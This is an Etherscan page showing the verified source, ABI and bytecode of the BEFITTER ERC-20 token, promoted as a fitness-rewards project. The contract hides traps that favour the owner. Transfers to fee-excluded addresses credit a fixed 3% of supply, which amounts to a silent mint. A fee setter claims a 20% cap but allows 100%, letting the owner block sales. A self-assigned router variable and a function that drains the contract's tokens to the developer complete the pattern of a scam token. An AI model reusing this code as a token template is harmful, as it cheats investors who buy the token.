ETH Price: $2,418.98 (-1.19%)

Token

BEFITTER (BEFITTER)
 

Overview

Max Total Supply

1,000,000,000 BEFITTER

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
16,435,422.557205799 BEFITTER

Value
$0.00
0xac57192d463f0fcb9c5ae7eeec3d270a098dc637
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BEFITTER

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-26
*/

// SPDX-License-Identifier: MIT

/*
BEFITITTER ecosystem helps users improve mental & physical health, gain achievements and still get monetary incentives.

Start earning for doing Activities such as walking, running, cycling, swimming, sleeping or more in different game modes

Website: https://www.befittertech.info
Telegram: https://t.me/befitter_erc20
Twitter: https://twitter.com/befitter_erc20
*/

pragma solidity 0.8.21;
abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "Ownable: Caller is not owner"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}
interface DexRouterInterface {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}
interface DexFactoryInterface {
    function createPair(address tokenA, address tokenB) external returns (address addrPair);
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEFITTER is Ownable, IERC20 {
    using SafeMath for uint256;
    string private constant _name = "BEFITTER";
    string private constant _symbol = "BEFITTER";
    uint8 private constant _decimals = 9;
    uint256 private _tSup = 10 ** 9 * (10 ** _decimals);
    
    DexRouterInterface private _router;
    address public addrPair;
    bool private startedTrading = false;
    bool private swapActivated = true;
    uint256 private numContractSwaps;
    bool private caswapping;
    uint256 minContractSwaps;
    uint256 private maxContractSwap = _tSup * 1000 / 100000;
    uint256 private minContractSwap = _tSup * 10 / 100000;
    modifier reentrance {caswapping = true; _; caswapping = false;}
    uint256 private lpAutoFee = 0;
    uint256 private marketingTaxFee = 0;
    uint256 private devTaxFee = 100;
    uint256 private burnTaxFee = 0;
    uint256 private buyersTaxFee = 1500;
    uint256 private sellersTaxFee = 1500;
    uint256 private transferTaxFee = 1000;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal developerAddy = 0x414F0905B99FC269760C842e4713d634123726BB; 
    address internal marketerAddy = 0x414F0905B99FC269760C842e4713d634123726BB;
    address internal lpReceiverAddy = 0x414F0905B99FC269760C842e4713d634123726BB;
    uint256 public _maximTxAmount = ( _tSup * 300 ) / 10000;
    uint256 public _maximTransferAmount = ( _tSup * 300 ) / 10000;
    uint256 public _maximWalletAmount = ( _tSup * 300 ) / 10000;

    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    constructor() Ownable(msg.sender) {
        DexRouterInterface _router = DexRouterInterface(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = DexFactoryInterface(_router.factory()).createPair(address(this), _router.WETH());
        _router = _router; addrPair = _pair;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketerAddy] = true;
        _isExcludedFromFee[developerAddy] = true;
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[lpReceiverAddy] = true;
        _balances[msg.sender] = _tSup;
        emit Transfer(address(0), msg.sender, _tSup);
    }
    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function getOwner() external view override returns (address) { return owner; }
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function enableTrading() external onlyOwner {startedTrading = true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _tSup.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function setMaximTxLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _tSup.mul(_buy).div(10000); uint256 newTransfer = _tSup.mul(_sell).div(10000); uint256 newWallet = _tSup.mul(_wallet).div(10000);
        _maximTxAmount = newTx; _maximTransferAmount = newTransfer; _maximWalletAmount = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function clearDustCA(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(developerAddy, _amount);
    }
    function swapTaxAndSendFee(uint256 tokens) private reentrance {
        uint256 _denominator = (lpAutoFee.add(1).add(marketingTaxFee).add(devTaxFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(lpAutoFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapCATokensForFee(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(lpAutoFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(lpAutoFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingTaxFee);
        if(marketingAmt > 0){payable(marketerAddy).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(developerAddy).transfer(contractBalance);}
    }
    function swapCATokensForFee(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]){require(startedTrading, "startedTrading");}
        if(!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient] && recipient != address(addrPair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maximWalletAmount, "Exceeds maximum wallet amount.");}
        if(sender != addrPair){require(amount <= _maximTransferAmount || _isExcludedFromFee[sender] || _isExcludedFromFee[recipient], "TX Limit Exceeded");}
        require(amount <= _maximTxAmount || _isExcludedFromFee[sender] || _isExcludedFromFee[recipient], "TX Limit Exceeded"); 
        if(recipient == addrPair && !_isExcludedFromFee[sender]){numContractSwaps += uint256(1);}
        if(canContractSwap(sender, recipient, amount)){swapTaxAndSendFee(maxContractSwap); numContractSwaps = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !_isExcludedFromFee[sender] ? getActualFeeAmount(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function getFeesByTxType(address sender, address recipient) internal view returns (uint256) {
        if(recipient == addrPair){return sellersTaxFee;}
        if(sender == addrPair){return buyersTaxFee;}
        return transferTaxFee;
    }
    function getActualFeeAmount(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (_isExcludedFromFee[recipient]) {return _maximTxAmount;}
        if(getFeesByTxType(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getFeesByTxType(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnTaxFee > uint256(0) && getFeesByTxType(sender, recipient) > burnTaxFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnTaxFee));}
        return amount.sub(feeAmount);} return amount;
    }
    function canContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minContractSwap;
        bool aboveThreshold = balanceOf(address(this)) >= maxContractSwap;
        return !caswapping && swapActivated && startedTrading && aboveMin && !_isExcludedFromFee[sender] && recipient == addrPair && numContractSwaps >= minContractSwaps && aboveThreshold;
    }
    function setFee(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        lpAutoFee = _liquidity; marketingTaxFee = _marketing; burnTaxFee = _burn; devTaxFee = _development; buyersTaxFee = _total; sellersTaxFee = _sell; transferTaxFee = _trans;
        require(buyersTaxFee <= denominator.div(1) && sellersTaxFee <= denominator.div(1) && transferTaxFee <= denominator.div(1), "buyersTaxFee and sellersTaxFee cannot be more than 20%");
    }
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(_router), tokenAmount);
        _router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpReceiverAddy,
            block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maximTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maximTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maximWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addrPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"clearDustCA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setMaximTxLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004b3565b6200002290633b9aca00620004ca565b60018190556003805461ffff60a01b1916600160a81b179055620186a0906200004e906103e8620004ca565b6200005a9190620004e4565b600755620186a0600154600a620000729190620004ca565b6200007e9190620004e4565b6008555f6009819055600a8190556064600b55600c556105dc600d819055600e556103e8600f5561271060108190556011805473414f0905b99fc269760c842e4713d634123726bb6001600160a01b0319918216811790925560128054821683179055601380549091169091179055600154620000fe9061012c620004ca565b6200010a9190620004e4565b60145561271060015461012c620001229190620004ca565b6200012e9190620004e4565b60155561271060015461012c620001469190620004ca565b620001529190620004e4565b60165534801562000161575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ec919062000504565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000238573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025e919062000504565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002a9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002cf919062000504565b600380546001600160a01b0319166001600160a01b0383811691909117909155305f908152601760209081526040808320805460ff199081166001908117909255601254861685528285208054821683179055601154861685528285208054821683179055338086528386208054831684179055601354909616855282852080549091168217905554848452601883528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200052c565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f857815f1904821115620003dc57620003dc620003a4565b80851615620003ea57918102915b93841c9390800290620003bd565b509250929050565b5f826200041057506001620004ad565b816200041e57505f620004ad565b8160018114620004375760028114620004425762000462565b6001915050620004ad565b60ff841115620004565762000456620003a4565b50506001821b620004ad565b5060208310610133831016604e8410600b841016171562000487575081810a620004ad565b620004938383620003b8565b805f1904821115620004a957620004a9620003a4565b0290505b92915050565b5f620004c360ff84168362000400565b9392505050565b8082028115828204841417620004ad57620004ad620003a4565b5f82620004ff57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000515575f80fd5b81516001600160a01b0381168114620004c3575f80fd5b61190f806200053a5f395ff3fe608060405260043610610129575f3560e01c8063768dc710116100a8578063a9059cbb1161006d578063a9059cbb1461033f578063aeb5b9b51461035e578063cb470fde1461037d578063dd62ed3e1461039c578063e31647b6146103e0578063f2fde38b146103f5575f80fd5b8063768dc710146102cc578063893d20e8146102fa5780638a8c523c1461031657806395d89b4114610134578063a39c1c6b1461032a575f80fd5b80632f54bf6e116100ee5780632f54bf6e1461021a578063313ce5671461024757806340f663041461026257806353dea4bc1461028357806370a0823114610298575f80fd5b806306fdde0314610134578063095ea7b31461017357806318160ddd146101a25780632005ac2b146101c457806323b872dd146101fb575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201825260088152672122a324aa2a22a960c11b6020820152905161016a919061157f565b60405180910390f35b34801561017e575f80fd5b5061019261018d3660046115e1565b610414565b604051901515815260200161016a565b3480156101ad575f80fd5b506101b661042a565b60405190815260200161016a565b3480156101cf575f80fd5b506003546101e3906001600160a01b031681565b6040516001600160a01b03909116815260200161016a565b348015610206575f80fd5b5061019261021536600461160b565b61049a565b348015610225575f80fd5b50610192610234366004611649565b5f546001600160a01b0391821691161490565b348015610252575f80fd5b506040516009815260200161016a565b34801561026d575f80fd5b5061028161027c3660046115e1565b610502565b005b34801561028e575f80fd5b506101b660155481565b3480156102a3575f80fd5b506101b66102b2366004611649565b6001600160a01b03165f9081526018602052604090205490565b3480156102d7575f80fd5b506101926102e6366004611649565b60176020525f908152604090205460ff1681565b348015610305575f80fd5b505f546001600160a01b03166101e3565b348015610321575f80fd5b50610281610631565b348015610335575f80fd5b506101b660145481565b34801561034a575f80fd5b506101926103593660046115e1565b61066f565b348015610369575f80fd5b50610281610378366004611664565b61067b565b348015610388575f80fd5b506102816103973660046116ab565b610784565b3480156103a7575f80fd5b506101b66103b63660046116d4565b6001600160a01b039182165f90815260196020908152604080832093909416825291909152205490565b3480156103eb575f80fd5b506101b660165481565b348015610400575f80fd5b5061028161040f366004611649565b6108ab565b5f610420338484610927565b5060015b92915050565b60186020527f999d26de3473317ead3eeaf34ca78057f1439db67b6953469c3c96ce9caf6bd75461dead5f9081527fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd654600154919261049592909161048f9190610a4a565b90610a4a565b905090565b5f6104a6848484610a55565b6104f784336104f2856040518060600160405280602881526020016118b2602891396001600160a01b038a165f9081526019602090815260408083203384529091529020549190610f96565b610927565b5060015b9392505050565b5f546001600160a01b031633146105345760405162461bcd60e51b815260040161052b9061170b565b60405180910390fd5b6040516370a0823160e01b81523060048201525f906105b5906064906105af9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610585573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a99190611742565b90610fc1565b90610fcc565b60115460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af1158015610607573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062b9190611759565b50505050565b5f546001600160a01b0316331461065a5760405162461bcd60e51b815260040161052b9061170b565b6003805460ff60a01b1916600160a01b179055565b5f610420338484610a55565b5f546001600160a01b031633146106a45760405162461bcd60e51b815260040161052b9061170b565b6009879055600a869055600c859055600b849055600d839055600e829055600f8190556010546106d5906001610fcc565b600d54111580156106f557506010546106ef906001610fcc565b600e5411155b8015610710575060105461070a906001610fcc565b600f5411155b61077b5760405162461bcd60e51b815260206004820152603660248201527f62757965727354617846656520616e642073656c6c6572735461784665652063604482015275616e6e6f74206265206d6f7265207468616e2032302560501b606482015260840161052b565b50505050505050565b5f546001600160a01b031633146107ad5760405162461bcd60e51b815260040161052b9061170b565b5f6107c96127106105af86600154610fc190919063ffffffff16565b90505f6107e76127106105af86600154610fc190919063ffffffff16565b90505f6108056127106105af86600154610fc190919063ffffffff16565b60148490556015839055601681905590505f61082a6103e86105af60056105a961042a565b905080841015801561083c5750808310155b80156108485750808210155b61077b5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161052b565b5f546001600160a01b031633146108d45760405162461bcd60e51b815260040161052b9061170b565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052b565b6001600160a01b0382166109ea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052b565b6001600160a01b038381165f8181526019602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6104fb828461178c565b6001600160a01b038316610ab95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052b565b6001600160a01b038216610b1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052b565b6001600160a01b0383165f90815260186020526040902054811115610b9c5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161052b565b6001600160a01b0383165f9081526017602052604090205460ff16158015610bdc57506001600160a01b0382165f9081526017602052604090205460ff16155b15610c2b57600354600160a01b900460ff16610c2b5760405162461bcd60e51b815260206004820152600e60248201526d7374617274656454726164696e6760901b604482015260640161052b565b6001600160a01b0383165f9081526017602052604090205460ff16158015610c6b57506001600160a01b0382165f9081526017602052604090205460ff16155b8015610c8557506003546001600160a01b03838116911614155b8015610c9c57506001600160a01b03821661dead14155b15610d14576016546001600160a01b0383165f90815260186020526040902054610cc69083610fd7565b1115610d145760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161052b565b6003546001600160a01b03848116911614610db35760155481111580610d5157506001600160a01b0383165f9081526017602052604090205460ff165b80610d7357506001600160a01b0382165f9081526017602052604090205460ff165b610db35760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161052b565b60145481111580610ddb57506001600160a01b0383165f9081526017602052604090205460ff165b80610dfd57506001600160a01b0382165f9081526017602052604090205460ff165b610e3d5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161052b565b6003546001600160a01b038381169116148015610e7257506001600160a01b0383165f9081526017602052604090205460ff16155b15610e8f57600160045f828254610e89919061179f565b90915550505b610e9a838383610fe2565b15610eaf57610eaa60075461109a565b5f6004555b6001600160a01b0383165f90815260186020526040902054610ed19082610a4a565b6001600160a01b0384165f90815260186020908152604080832093909355601790529081205460ff1615610f055781610f10565b610f1084848461120a565b6001600160a01b0384165f90815260186020526040902054909150610f359082610fd7565b6001600160a01b038085165f8181526018602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f889085815260200190565b60405180910390a350505050565b5f8184841115610fb95760405162461bcd60e51b815260040161052b919061157f565b505050900390565b5f6104fb82846117b2565b5f6104fb82846117c9565b5f6104fb828461179f565b600854600754305f9081526018602052604081205460055491938510159211159060ff1615801561101c5750600354600160a81b900460ff165b80156110315750600354600160a01b900460ff165b801561103a5750815b801561105e57506001600160a01b0386165f9081526017602052604090205460ff16155b801561107757506003546001600160a01b038681169116145b8015611087575060065460045410155b80156110905750805b9695505050505050565b6005805460ff19166001908117909155600b54600a546009545f936110d3936002936105a99391926110cd928391610fd7565b90610fd7565b90505f6110ef826105af60095486610fc190919063ffffffff16565b90505f6110fc8483610a4a565b90504761110882611334565b5f6111134783610a4a565b90505f61113561112e60095488610a4a90919063ffffffff16565b8390610fcc565b90505f61114d60095483610fc190919063ffffffff16565b9050801561115f5761115f8682611484565b600a545f90611173906105a9856002610fc1565b905080156111b4576012546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111b2573d5f803e3d5ffd5b505b4780156111f4576011546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111f2573d5f803e3d5ffd5b505b50506005805460ff191690555050505050505050565b6001600160a01b0382165f9081526017602052604081205460ff161561123357506014546104fb565b5f61123e8585611535565b111561132d575f6112606112528686611535565b6010546105a9908690610fcc565b305f9081526018602052604090205490915061127c9082610fd7565b305f81815260186020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112cc9085815260200190565b60405180910390a35f600c541180156112ef5750600c546112ed8686611535565b115b1561131b5761131b3061dead611316600c546105a960105489610fcc90919063ffffffff16565b610a55565b6113258382610a4a565b9150506104fb565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611367576113676117e8565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113e291906117fc565b816001815181106113f5576113f56117e8565b6001600160a01b03928316602091820292909201015260025461141b9130911684610927565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906114539085905f90869030904290600401611817565b5f604051808303815f87803b15801561146a575f80fd5b505af115801561147c573d5f803e3d5ffd5b505050505050565b60025461149c9030906001600160a01b031684610927565b60025460135460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611509573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061152e9190611886565b5050505050565b6003545f906001600160a01b03908116908316036115565750600e54610424565b6003546001600160a01b03908116908416036115755750600d54610424565b50600f5492915050565b5f6020808352835180828501525f5b818110156115aa5785810183015185820160400152820161158e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115de575f80fd5b50565b5f80604083850312156115f2575f80fd5b82356115fd816115ca565b946020939093013593505050565b5f805f6060848603121561161d575f80fd5b8335611628816115ca565b92506020840135611638816115ca565b929592945050506040919091013590565b5f60208284031215611659575f80fd5b81356104fb816115ca565b5f805f805f805f60e0888a03121561167a575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f805f606084860312156116bd575f80fd5b505081359360208301359350604090920135919050565b5f80604083850312156116e5575f80fd5b82356116f0816115ca565b91506020830135611700816115ca565b809150509250929050565b6020808252601c908201527f4f776e61626c653a2043616c6c6572206973206e6f74206f776e657200000000604082015260600190565b5f60208284031215611752575f80fd5b5051919050565b5f60208284031215611769575f80fd5b815180151581146104fb575f80fd5b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042457610424611778565b8082018082111561042457610424611778565b808202811582820484141761042457610424611778565b5f826117e357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561180c575f80fd5b81516104fb816115ca565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118655784516001600160a01b031683529383019391830191600101611840565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611898575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209be37441833a2368242c3875eccf0300ab44acc4b8d2aa716a357b3db375874e64736f6c63430008150033

Deployed Bytecode

